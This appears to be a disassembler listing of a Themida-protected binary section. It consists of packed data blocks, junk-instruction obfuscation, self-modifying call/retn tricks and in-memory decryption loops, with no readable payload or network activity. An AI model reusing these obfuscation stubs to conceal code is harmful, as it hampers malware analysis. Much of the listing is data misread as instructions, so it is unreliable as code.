		nop
		xchg	edx, [eax-2EDEA4B8h]
		pushf
		les	esp, [eax+4Fh]
		das
		aam	0E6h
		add	eax, 18C0031Fh
		add	byte ptr [edx+5Eh], 0A7h
		nop
		add	eax, 215B4890h
		rcl	dword ptr [esp+eax*8-2BD0B0A0h], 1
		js	short near ptr loc_5FF6BD+1
		rcr	byte ptr [edi],	3
		shl	byte ptr [eax-80h], 42h
		pop	esi
		cmpsd
		nop
		adc	dword ptr [ebx-2EDEA4B8h], 0FFFFFFECh
		les	esp, [eax+4Fh]
		retn
; ---------------------------------------------------------------------------
		dw 12B8h
		dd 0DF152A50h, 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 5864C0D5h
		dd 0ED96A8AFh, 8A152AA8h, 0A0242945h, 0B496E367h, 0A1D5ADBAh
		dd 0CB152A54h, 415564C6h, 75EAD5BAh, 3AAE63CEh,	80F62B81h
		dd 0AB534284h, 0FFEA2211h, 0A4245D55h, 0CF9C3AABh, 0EDDAC3B9h
		dd 86D7E3A8h, 44DAF745h, 0EAE9EED7h, 2359D7CEh,	0CFD22629h
		dd 0A851A2B9h, 62AD6C54h, 351A241h, 27BFEA66h, 1CDB2FEEh
		dd 751FC025h, 2011294h,	0FBA1A0D9h, 79AEA8AFh, 0AE51A1ECh
		dd 22DC0941h, 80FF5BE0h, 103773BAh, 21732ADFh, 0D9E528C8h
		dd 5BEA20BEh, 8C152BFDh, 988150h, 0A2BBD3F1h, 0D2A5FBABh
		dd 0A42C89EFh, 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh
		dd 8AFD4AA8h, 0F251A245h, 5924C0D5h, 0DDDAA8AFh, 8668A15Ch
		dd 0A8ADE782h, 0CC152A54h, 88F030BAh, 529E20B7h, 83FC69CEh
		dd 0E2A5B997h, 0F9FA31EFh, 0FBA1A0D9h, 79AEA8AFh, 20949A0Dh
		dd 8C551A23h, 21848132h, 215DDF6Eh, 174D629h, 6A985E00h
		dd 1402A5Ch, 549521A9h,	8A15C234h, 290BA245h, 60C6A2BEh
		dd 0A024294Fh, 4D1957DFh, 0A8515E00h, 75532A54h, 4B7103D7h
		dd 19CDA15Eh, 9BFC69CEh, 0E2A5B997h, 0F9FA31EFh, 0FBA1A0D9h
		dd 79AEA8AFh, 20949A0Dh, 8C651A23h, 21848132h, 215DDF6Eh
		dd 174D629h, 6A985E00h,	1402A5Ch, 549521A9h, 8260A134h
		dd 6F5DDFCEh, 8A15D611h, 3BFDA245h, 0B91DC995h,	4919197h
		dd 4A38F2DEh, 2851A245h, 0E1AD5A8h, 0A851A25Eh,	8A1523EDh
		dd 2DA05545h, 86902586h, 2851A245h, 4B7332A3h, 2337AA8Eh
		dd 0A1BE4C97h, 0D5D8AE38h, 0CF9E4BA8h, 0A0936BB9h, 669E7F54h
		dd 0C8AD66C6h, 11D5FDFh, 0ED96AE38h, 8A152AA8h,	69C20E45h
		dd 582622B7h, 22FD6276h, 8AD5078Ch, 54D1A245h, 939125ABh
		dd 1151A245h, 8A152A5Dh, 7AD453B2h, 8A1FAF5Bh, 10E0A245h
		dd 4B93E256h, 39191EFh,	319577Fh, 23305E38h, 48DCD611h
		dd 2304A24Dh, 76D1A9B8h, 0A0242925h, 4D1957DFh,	0A8515E00h
		dd 0B92A54h, 0A7B2229Dh, 85E1D4h, 22DC0886h, 80FF5BE0h
		dd 0F8E173BAh, 3E9FA7FEh, 575B4834h, 20D6A085h,	215DDF6Eh
		dd 174D629h, 6A985E00h,	1402A5Ch, 549521A9h, 8260A134h
		dd 6F5DDFCEh, 8A15D611h, 0AFE9A245h, 75152A54h,	4B5077D7h
		dd 2045265Eh, 0D9E528C8h, 5BEA20BEh, 9BFB2BF5h,	85318694h
		dd 0AC59622Eh, 0AEA58050h, 0A42C89EFh, 0EBE957DDh, 61ADE7CEh
		dd 0DF152296h, 6CD24ECEh, 0FF9E4AA8h, 0A42C294Dh, 8AE96F93h
		dd 451A245h, 2B87D5FEh,	235B4165h, 4917868Ch, 1CDB2FEFh
		dd 751FC025h, 28E9C494h, 0BE4CBDh, 0D57A0886h, 7668A358h
		dd 54142924h, 8A1DE89Dh, 2BBD2910h, 175D690h, 0D5DAAA30h
		dd 7650ED58h, 0A851A245h, 18EA80F8h, 0A2B282E4h, 58B9E2DFh
		dd 32DC0885h, 80FF5BE0h, 103771BAh, 2173E394h, 83FB63CFh
		dd 0F79C2629h, 0EDDAC3B9h, 82D7E3A8h, 44DAF745h, 0EAE9EED7h
		dd 2359D7CEh, 0CFD22629h, 0A851A2B9h, 75BF8654h, 4B7103D7h
		dd 26DDA15Eh, 25FB6377h, 60649ECEh, 0CE825D4Fh,	0ECE4AAECh
		dd 29028EEh, 319577Fh, 23305E38h, 48DCD611h, 2304A24Dh
		dd 76D1A9B8h, 0A0242925h, 4D1957DFh, 0A8515E00h, 32732A54h
		dd 3376B77h, 0FBA1B0D9h, 7BAEA8AFh, 4B959232h, 4FD0923h
		dd 866801FEh, 0C9ADDFCCh, 43E96FDFh, 0FD51AA87h, 4E96C6DFh
		dd 0DDDAC2B9h, 8668A15Ch, 0A8ADE782h, 0EC152A54h, 0CEB824FDh
		dd 3E8FA7FFh, 575B4834h, 20A09A87h, 25FB0E03h, 60649ECEh
		dd 0CE825D4Fh, 0ECD8ACECh, 0A42C89EEh, 0EBE957DDh, 61ADE7CEh
		dd 0DF152296h, 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 5C4CC0D5h
		dd 0ED96A8AFh, 8A152AA8h, 0A0242945h, 261957DFh, 2C5E9179h
		dd 8A152A1Eh, 2C5E8979h, 8A152A16h, 2C5ECA79h, 8A152A49h
		dd 2C5E1379h, 8A152A38h, 2A5EF279h, 8A152A5Ch, 2A5EFA79h
		dd 8A152A6Bh, 0A851D6ACh, 8660D554h, 2559D7BAh,	60C4A4CEh
		dd 32DCF14Fh, 80FFF831h, 0EDD871BAh, 8A42C3A8h,	0DDAEA245h
		dd 8260D558h, 79CF38C8h, 74620BEh, 4283C7DFh, 3C6D55Eh
		dd 92B85E00h, 75152A54h, 0DDAEAE30h, 208FA75Ch,	0FB5B4894h
		dd 5870B0D9h, 7BAEA8AFh, 63E96FDDh, 0A851A258h,	75195FABh
		dd 32DCAA30h, 80FFFBE2h, 0CDCB2F16h, 751FC086h,	54142B96h
		dd 8A152ABDh, 0EDDAC345h, 82D7E3A8h, 3044BA45h,	0BE80000h
		dd 0CE000000h, 8FC64B31h, 8CEE36C3h, 5BFC5B46h,	9BACF081h
		dd 0C3812C08h, 59B9h, 0A0301BBFh, 0D0EF8167h, 8067A019h
		dd 33FF8DD0h, 9520B866h, 79C18159h, 6632D3FBh, 8EABC081h
		dd 4E4AE981h, 0C181772Fh, 586202D5h, 14E9h, 0E5501200h
		dd 0D4D2F5FAh, 8722CA5Eh, 1ACAA660h, 5BF13AAh, 0BE95139h
		dd 8C000000h, 0F75995BEh, 53EFD354h, 38F830Bh, 3890F60h
		dd 66000000h, 0F280DF8Bh, 0EB83617Eh, 8B666004h, 4CF80F0h
		dd 850F4F61h, 0FFFFFF96h, 14E8h, 0AF9BA700h, 86F5F6D2h
		dd 3A5480F9h, 42FB1998h, 0CD35D1C2h, 5B36B4B4h,	68D0Fh
		dd 0D2810000h, 6CCCDBB6h, 6896C381h, 81660000h,	0BE07B4D2h
		dd 1A03h, 33FFBAB0h, 0AE8h, 0D7DFC100h,	54897F16h, 0F8B77BDh
		dd 595AC3BFh, 0F18127B6h, 4464796h, 93A8C181h, 0EC800501h
		dd 4BC181B8h, 0BA46897Ah, 7F00DB19h, 5BF28151h,	8F23D049h
		dd 0EB81F503h, 3B67DC63h, 0B8E78166h, 5FC381A9h, 8B3B67DCh
		dd 850F4EC1h, 0FFFFFFAAh, 0EBC2BF0Fh, 16h, 4 dup(0)
		dd 98010100h, 0EA000000h, 52006A0Ah, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 3A252230h
		dd 2195896Fh, 0E90AE309h, 0Ch, 3D4D77EFh, 0DBADE6A4h, 4B2A4BA5h
		dd 50D88A90h, 0FE9h, 279F8000h,	8BF6C07Ah, 188A0DD5h, 46FC4B57h
		dd 6AF590h, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 19h,	0A0C35343h, 8892B95h, 6A006A86h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 4B80C357h
		dd 937DF387h, 0E9DCC54Eh, 11h, 50E0D863h, 0A9E6E883h, 57F987A1h
		dd 67AD7AB2h, 0EE858D21h, 6A0AEAD9h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 501FC356h
		dd 489FE8Bh, 57006A24h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 7B02DB74h, 0D85892Fh, 6A0AE315h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 8ABD8207h, 60006AD7h, 256D9589h,	0FF610AE3h
		dd 0E314E995h, 56006A0Ah, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0F92AE11Bh, 9133D8DCh
		dd 4EE96293h, 6A000006h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0EA57C355h,	5FC80E45h
		dd 28F0Fh, 0DF8B0000h, 0E8h, 0ED815D00h, 0AEAD9F3h, 8BFFB70Fh
		dd 0E32E1D8Dh, 52006A0Ah, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 0F74E152Ch, 0C8B70FB3h
		dd 0A59BD31h, 4E80AE3h,	0A0000000h, 5000000Fh, 448BD08Bh
		dd 8E90424h, 0DD000000h, 1EB73298h, 8B217B2Ch, 89EE8A00h
		dd 50042444h, 0E9525052h, 0Dh, 787D3620h, 80AB6807h, 589B2216h
		dd 66310F79h, 585AD88Bh, 8AB9310Fh, 5A2B2CCDh, 6A5858h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 7E8AEC3h, 0BB000000h, 400D5BC4h, 8D8BA531h, 0AE31E5Dh
		dd 0E995335Fh, 0FF0AE30Fh, 0E31CD195h, 50006A0Ah, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 49513003h, 8A0F6057h, 0
; ---------------------------------------------------------------------------
		push	edi
		pop	edx
		popa
		pop	edi
		lea	esi, [ebp+0AEAD84Fh]
		sub	[ebp+0AE31B4Dh], esi
		mov	dword ptr [esi], 6D676552h
		push	0
		push	ebx
		call	sub_5FFFED
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FFFED	proc near		; CODE XREF: Themida_:005FFFE5p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5FFFED	endp

; ---------------------------------------------------------------------------
		db 6Ch,	6Eh, 74h
		dd 0E2377D6Fh, 60AD8528h, 10E8h, 0A7B1F300h, 6FDAB35Dh
		dd 1869D6C3h, 22F7E7ECh, 69B58BB2h, 5A0AE32Dh, 61C1BF0Fh
		dd 6F0446C7h, 666C636Eh, 4A3AD181h, 610846C7h, 8B007373h
		dd 53006ACFh, 59D78B66h, 0D84F858Dh, 6A0AEAh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0FA5771C3h
		dd 0B9669E4Fh, 6690240Bh, 0F50D78Bh, 286h, 90DA8B00h, 0F0B5C381h
		dd 95FF214Bh, 0AE333D1h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 69C35646h, 650D3E75h,	4850DF24h, 10E9AEh
		dd 0D37E0000h, 0AE768BF9h, 648C7435h, 577173Ch,	0C00B0BA1h
		dd 51840Fh, 0CE80000h, 5C000000h, 0BA334BECh, 79B958DBh
		dd 0E8920250h, 0Fh, 2C25843Eh, 3AF23F28h, 0ABD8E416h, 29F897D0h
		dd 0E31879BDh, 0E95A5B0Ah, 3B1h, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 17h, 98C35040h, 681CD9E6h, 7E44118Ch
		dd 68F0F60h, 50000000h,	5A310F52h, 50525058h, 5A310F52h
		dd 0E8310F58h, 9, 0BB26119Eh, 7A4EEEE8h, 585A5951h, 24348161h
		dd 7E4410A0h, 0F52DBB66h, 1CD195FFh, 0B5010AE3h, 0AE300A1h
		dd 0D84FB58Dh, 6A0AEAh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0C21EB5C3h, 9D8B8415h, 0AE306FDh
		dd 383106C7h, 95293634h, 0AE305C9h, 370446C7h, 8931342Dh
		dd 0E30A89B5h, 846C70Ah, 0
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	edi
		call	sub_6001B9
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_6001B9	proc near		; CODE XREF: Themida_:006001B1p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_6001B9	endp

; ---------------------------------------------------------------------------
		db 7Ch,	47h, 45h
		dd 0E9E4B6D9h, 0Ch, 0E6F9448Bh,	44BD7BA8h, 0D11FB13Bh
		dd 0D84F858Dh, 6A0AEAh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 5E1E99C3h, 0B991EDECh, 698B2C81h
		dd 8B6690F9h, 0E96050FBh, 0Ch, 0B3E9E178h, 28E8A526h, 0D3D5E9EBh
		dd 7E9h, 0BEE0C600h, 743F1A81h,	0B5299061h, 0AE31C11h
		dd 33D195FFh, 6A0AE3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0B9FD5C3h, 14840FC0h, 0F000000h
		dd 987h, 3840F00h, 80000000h, 36E913CDh, 68000002h, 9F280157h
		dd 7E8h, 0D6E37400h, 839A1449h,	7E8h, 3831DD00h, 0F93E49F0h
		dd 5F5FF88Bh, 0D5240481h, 6A60D7FFh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0DA0EC350h
		dd 6E3C8D3Ch, 10E8h, 127FD900h,	3044D4D0h, 2559C328h, 6E5095EFh
		dd 0BD296090h, 0AE31F75h, 95295A61h, 0AE32595h,	1CD195FFh
		dd 6A0AE3h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0D02ADC3h, 0D0BF0F81h, 0D84FB58Dh, 6A0AEAh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0F8BB16C3h, 51300317h, 0B5096049h, 0AE3188Dh, 1C11BD09h
		dd 8B610AE3h, 0E32BBDBDh, 4606C70Ah, 0F5656C69h, 6D0446C7h
		dd 6A636E6Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 99E4C351h, 0AA83CA19h,	0BCC38166h
		dd 0A98589D8h, 8B0AE31Eh, 0E308F1BDh, 846C70Ah,	7373616Ch
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 49C35343h
		dd 81666326h, 8B2C83EAh, 0E31B99BDh, 0C46C70Ah,	0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0AE32D1Dh]
		push	0
		or	bx, 0E6F4h
		lea	eax, [ebp+0AEAD84Fh]
		push	0
		push	esi
		call	sub_6003DE
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_6003DE	proc near		; CODE XREF: Themida_:006003D6p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_6003DE	endp

; ---------------------------------------------------------------------------
aTxinbtzNRS	db '!tX¨âzÄn%`é',9,0
		align 10h
		dd 4108FA86h, 2EED431Bh, 0E95061F3h, 0Ch, 0A9AD9C75h, 3F44B17Eh
		dd 5B445DFEh, 61958990h, 0FF0AE302h, 0E333D195h, 55006A0Ah
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0E2D1D925h, 0FDEABFF2h, 0CE8h, 5FF9BF00h, 0C6BE9F01h
		dd 610904C4h, 0B4DB80FEh, 0FC00B5Bh, 3F84h, 3FE900h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 9D892EC3h, 0AE32F99h, 13E9h,	25150D00h, 7A3C1953h, 0FD489517h
		dd 0F35030FCh, 690C39D4h, 0FFFA33E9h, 4B58DFFh,	8B0AE372h
		dd 0E326A9BDh, 0B80Ah, 8A0F0000h, 15h, 10E9h, 349E3100h
		dd 0FA9E3FA4h, 96369BF0h, 631F339Eh, 0FFB70FDDh, 6AE6FFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0B71FA7C3h, 8B4377E5h, 0E31FED95h, 0E9C18B0Ah, 2Ah
		dd 2404C7h, 0E8000000h,	0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 0AEAE026h
		mov	eax, [esp+4]
		mov	[ebp+0AE31CE5h], eax
		mov	eax, 0
		lea	ecx, [ebp+0AE34E6Eh]
		jmp	ecx
; ---------------------------------------------------------------------------
		dw 54B8h
		dd 0E8000067h, 0Eh, 0F0A31DC6h,	0CCAA8D8Ah, 0C9E4CD65h
		dd 0E9580FCBh, 0Dh, 323C1174h, 238C41B3h, 40DC4163h, 96C08136h
		dd 0BA0000E6h, 0
; ---------------------------------------------------------------------------
		mov	edi, esi


loc_60056E:				; CODE XREF: Themida_:00600627j
		push	dword ptr [edx+eax]
		jns	loc_60057F
		jb	loc_60057F
		pusha
		popa


loc_60057F:				; CODE XREF: Themida_:00600571j
					; Themida_:00600577j
		pop	esi
		jl	loc_600589
		and	bh, 0D2h


loc_600589:				; CODE XREF: Themida_:00600580j
		add	esi, 5241240Eh
		clc
		sub	esi, 190165C6h
		jnz	loc_6005AF
		jmp	loc_6005AF
; ---------------------------------------------------------------------------
		jl	short loc_6005D0
		push	edi
		xchg	cl, [ebx-23h]
		or	byte ptr [eax+7Eh], 42h
		db	67h
		dec	esp
		db	66h
		xlat


loc_6005AF:				; CODE XREF: Themida_:00600596j
					; Themida_:0060059Cj
		xor	esi, 15B0DF14h
		cld
		mov	[eax+edx], esi
		jg	loc_6005C3
		mov	bx, 6F99h


loc_6005C3:				; CODE XREF: Themida_:006005B9j
		pusha
		jle	loc_6005D5
		jmp	loc_6005D5
; ---------------------------------------------------------------------------
		db 0C0h
; ---------------------------------------------------------------------------


loc_6005D0:				; CODE XREF: Themida_:006005A1j
		ja	short near ptr loc_600604+2
		scasd
		xchg	eax, ebp
		nop


loc_6005D5:				; CODE XREF: Themida_:006005C4j
					; Themida_:006005CAj
		jmp	loc_6005E8
; ---------------------------------------------------------------------------
		dw 0DC31h
		dd 88306410h, 3288BC26h, 5203D9C7h
; ---------------------------------------------------------------------------


loc_6005E8:				; CODE XREF: Themida_:loc_6005D5j
		popa
		sub	edx, 25E93666h
		movsx	ecx, bx
		add	edx, 25E93662h
		cmp	edx, 0FFFF1A60h
		jnz	loc_600622


loc_600604:				; CODE XREF: Themida_:loc_6005D0j
		mov	edi, 1EBAB3BBh
		jmp	loc_60063A
; ---------------------------------------------------------------------------
		dw 7271h
		dd 69F25C7Dh, 80163E5Ch, 7FDBEF8Bh, 0D0B3B3E4h
		db 2Fh,	0
; ---------------------------------------------------------------------------


loc_600622:				; CODE XREF: Themida_:006005FEj
		mov	ebx, 465E345Eh
		jmp	loc_60056E
; ---------------------------------------------------------------------------
		dd 39B8AE23h, 44114CE8h, 0DE630A1Fh
		db 0ADh, 83h
; ---------------------------------------------------------------------------


loc_60063A:				; CODE XREF: Themida_:00600609j
		call	near ptr sub_600652
; ---------------------------------------------------------------------------
		db 8Eh
		dd 0C0AD5DF1h, 619A42E3h, 22069AA9h, 0AD66B2ABh
		db 5Bh,	0F4h

; =============== S U B	R O U T	I N E =======================================



sub_600652	proc far		; CODE XREF: Themida_:loc_60063Ap
		mov	di, cx
		pop	edx
		add	edx, 6B18h
		and	al, 0CEh
		push	0
		sub	edi, 3EC5C215h
		pop	esi
		mov	di, ax


loc_60066E:				; CODE XREF: sub_600652+6Cj
		mov	ecx, [edx+esi]
		xor	ecx, 24F5E5Dh
		sbb	edi, 2CA996B4h
		add	ecx, 2C600434h
		adc	di, 5FC5h
		add	ecx, 5EA1A8FDh
		sbb	ax, 385h
		push	ecx
		mov	ebx, 55CE9D07h
		pop	dword ptr [edx+esi]
		jmp	loc_6006AE
; ---------------------------------------------------------------------------
		db 8Eh,	7Bh, 2Bh
; ---------------------------------------------------------------------------
		xchg	edx, [ebx]
		retf	0AE45h
; ---------------------------------------------------------------------------
		or	ch, [edi+eax*2]
		mov	ch, 35h


loc_6006AE:				; CODE XREF: sub_600652+4Aj
		cld
		sub	esi, 4
		add	edi, 73370480h
		cmp	esi, 0FFFF957Ch
		jnz	loc_60066E
		jmp	loc_6006D7
; ---------------------------------------------------------------------------
		db 0Ah,	6Dh, 0DEh
		dd 772C5AB7h, 0A6AD1300h
		db 0BDh, 81h, 9Fh
; ---------------------------------------------------------------------------


loc_6006D7:				; CODE XREF: sub_600652+72j
		jmp	loc_6006E4
; ---------------------------------------------------------------------------
		dd 5EC7807h, 0
; ---------------------------------------------------------------------------


loc_6006E4:				; CODE XREF: sub_600652:loc_6006D7j
		jmp	loc_6014DA
; ---------------------------------------------------------------------------
		push	0AEAE423h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AEAE519h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AEAE5BDh
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AEAE649h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AEAEA2Ah
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AEAED0Bh
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AEAEE35h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		db 74h
		dd 0FBDE8C45h, 63A614D3h, 0EF22985Fh, 68AD1DDAh, 0F837E324h
		dd 2DEE9E0Ah, 0B475187Dh, 3DFA83C6h, 8740084Dh,	0F1BA30D3h
		dd 3BF4C8C8h, 49AAE09Dh, 6346C407h, 72D9D5Ah, 3665C543h
		dd 3CFC94F6h, 6F2B0249h, 0E84631E6h, 8B8F7CACh,	0FC4BF320h
		dd 6AF4693Bh, 958BA15Eh, 4DAB4Dh, 0A8DB0000h, 0C964D623h
		dd 1E7A62A7h, 83214D4h,	0FC64B363h, 61174A3Ch, 74BDBD26h
		dd 0DC8F79DAh, 47C3A8F0h, 0D97AF883h, 0E28FAFB7h, 0E64875B6h
		dd 99863BFBh, 154AF3D5h, 167E4D95h, 0FA000000h,	0B97E0366h
		dd 2E57AA91h, 73BFBDAh,	8AE43814h, 8F5h, 0C8034922h, 11331962h
		dd 0F8BCB16Eh, 0D70A1157h, 0E32D8172h, 0ED265237h, 0A166284Dh
		dd 99519377h, 686A93D8h, 584346DFh, 0C21645E5h,	7D3CFC84h
		dd 4589B2F9h, 0AF5C3BFCh, 0B4564565h, 0FC44BAE7h, 5F32303Bh
		dd 6FA6F22Dh, 0B258E5C3h, 4A504D95h, 0E8000000h, 0AAF077E3h
		dd 7706CA91h, 9589C3B6h, 8432A2A6h, 0BB7C0E4Bh,	71F9AC9Fh
		dd 59B36C1Ch, 951ACA91h, 0EFD3CFCh, 92729F0Ch, 77E83BFCh
		dd 0C920DDEBh, 0F0284D95h, 80000000h, 0F3DD6FBh, 0AE9DBD7Ah
		dd 9D7D587Bh, 127E31EAh, 5E034912h, 92557B2Eh, 4AD08388h
		dd 34F598C1h, 0E8722516h, 208C3F5h, 38221DAFh, 0EFC3745h
		dd 0DFA730FDh, 0D5F89D46h, 0CB05F614h, 0D961DAEEh, 0A6ED1645h
		dd 0DBC046DFh, 0B0D509F1h, 0FC4FCB0Ch, 0D813B990h, 0D8B8B032h
		dd 62E971B6h, 0E5589339h, 0BC7E1645h, 0EC813CFCh, 14E763DCh
		dd 96BBE038h, 41D959CDh, 3F35E558h, 3E6DCD3Bh, 3217F556h
		dd 64F84229h, 0EED4B317h, 3C415252h, 39EC5FFBh,	11CAFADFh
		dd 1506459h, 0AF9CBE79h, 7BE280FCh, 1B3F09E3h, 0B0165h
		dd 0E65F6A00h, 6EA9D134h, 0F23559BCh, 77B0C538h, 0FD3E4E83h
		dd 0F4F0E20Dh, 7E5307C0h, 0F9DC8E4Fh, 6EA317D0h, 1A29E15Ah
		dd 0C6E20B50h, 0DEBB3BF4h, 0B30749C8h, 0DFAABFE8h, 32E59646h
		dd 0F981E478h, 0D5E7D23Eh, 0A858A01Ah, 14B8435h, 250503C7h
		dd 0FC94C676h, 80E5793Ch, 2D1E3CFDh, 0FC91B1DAh, 0C9E5A33Bh
		dd 0CA569738h, 66DD4BB0h, 9D28D010h, 0D1BAEE2Ah, 85427469h
		dd 0BE5AB685h, 0FC24C0EDh, 593C3E3Bh, 0E457F334h, 0F7D19DA8h
		dd 4D95564Eh, 0AA42h, 3493200h,	596F42C8h, 622F7C9Eh, 0A46DFA7h
		dd 0F0D5857Eh, 770B0FC8h, 0A3A76012h, 0A0C99258h, 7546DFA7h
		dd 0C8804A86h, 17AFFC7Eh, 0CE3CFCBDh, 3C76DDDh,	7EBDAB85h
		dd 483BE876h, 6F40B9E2h, 0B0D53217h, 0D218CB0Ch, 0F2B909BFh
		dd 46D971C9h, 4E3CEF9Ch, 4682450Bh, 9E3318Ah, 0BB95FF3h
		dd 5000000Ah, 0C73AF029h, 4F8278B7h, 0CB0EFC3Bh, 0B4894186h
		dd 1413C700h, 11CAFAE6h, 98516459h, 61DEEF22h, 0EB2454A9h
		dd 1546143Fh, 3BF4C5ECh, 49D6D4C1h, 0D216C407h,	0AAE40D5Eh
		dd 0D2B946DFh, 2EE99386h, 0F385F87Ch, 49C8DC38h, 6F42C803h
		dd 28E25Dh, 0AFCFC04h, 8FBF7B20h, 2DDE3CFCh, 9F76580Bh
		dd 47039337h, 163279C1h, 0C999D692h, 0AEAA3822h, 0BC99258h
		dd 8293353Dh, 2D030419h, 54A7A39Ch, 36CE7B61h, 3863E743h
		dd 0A3BCA60Fh, 1FDB35E6h, 25954E7Ah, 251FD8E0h,	0ACFFFDE3h
		dd 6704BA5Eh, 0F4000009h, 7B5E0CC5h, 0E3269453h, 6FA218DFh
		dd 0E82D9D5Ah, 78B763A4h, 0AD6E1E8Ah, 34F598FDh, 0BD7A0346h
		dd 7C088CDh, 713AB053h,	3BF4C648h, 492A601Dh, 8E42C803h
		dd 0AB38610Ah, 1E0D46DFh, 0D6302832h, 0BABB4714h, 0A9523CFCh
		dd 62DFEC81h, 0EB2455A8h, 78133C6Fh, 473A3BFCh,	899AF631h
		dd 3BFC685Ch, 0A35E9AE1h, 9A83A753h, 52B4B4BEh,	4E7114E8h
		dd 52BE8D8Dh, 1944A551h, 77937832h, 73AD6612h, 9DD4F93h
		dd 0DBD87E92h, 8, 0F7CA8079h, 7F5208C7h, 0FBDE8C4Bh, 645911D6h
		dd 0C4239750h, 211AAA16h, 0A8611469h, 31EE9FF2h, 0BB740479h
		dd 0E5B644CFh, 3BF4C4BCh, 0A6A6E491h, 5F88D3A2h, 3646DFABh
		dd 35A89245h, 77C44681h, 60AC6512h, 8E17C3E8h, 5F63CFCh
		dd 0DD1AA005h, 0A562286Dh, 0CB5AF685h, 0C31BA88Fh, 0DB7E1690h
		dd 49835380h, 242E23A1h, 9C5B6306h, 0F2F3B8B0h,	9B3BFC79h
		dd 0DF5B6AF0h, 0F6D30CBAh, 30CD07C0h, 0F12E5CAEh, 79C5F239h
		dd 89463BFCh, 0A5A56217h, 3447E356h, 0EEC7D212h, 8357811Ah
		dd 0FBFAC3D8h, 0B5E67A3Bh, 3BFBFB8Ch, 4A5EBA61h, 0E694E9A1h
		dd 0C8AD2129h, 0E787C780h, 0FAC047DAh, 15DACD07h, 493BFBDAh
		dd 6247C304h, 0D7E9C55h, 8C49A3A6h, 0CA73A324h,	13E71068h
		dd 8C8E4F7Eh, 36B855BFh, 0C169A6D4h, 7EF51E4Dh,	0D5F93BFCh
		dd 3913F812h, 817E0C41h, 7EB51299h, 5CF53BFCh, 0CAFC9192h
		dd 22490D0Dh, 3BFC7EF9h, 206CDFCCh, 944681C9h, 81A9A15Eh
		dd 0FC1EDBECh, 1436F199h, 0D0187427h, 6A93D85Ch, 433BFC7Fh
		dd 0FF2B7C58h, 0DE3BFC7Eh, 34A92D2Dh, 3EECC780h, 0F06FBD3Fh
		dd 0E22E1D3Dh, 9BA26DC1h, 30B2A3CFh, 0F4D56F18h, 1FE6539h
		dd 0A6110000h, 0D586A4A2h, 3CFCBFADh, 3A5F9B80h, 0A0E5558Eh
		dd 0A73BDF18h, 1E7AB3C2h, 0B714BE0Dh, 60D9EEBCh, 37F087FAh
		dd 30B2AB13h, 25436C3Fh, 711AB93Ah, 0FA8155BEh,	0E876E33Bh
		dd 0DE77A19Eh, 0DC6F214h, 0D902A92Dh, 8BB939B6h, 0BFC16C2Eh
		dd 731872E8h, 5C6CA119h, 84864175h, 366C4B7h, 769FCC7Ch
		dd 4FB939EBh, 8BAFE95Ch, 380208F9h, 7C854953h, 0BC988BD5h
		dd 437568CCh, 586D4C88h, 72067B9Fh, 0FC8CC1B9h,	38430703h
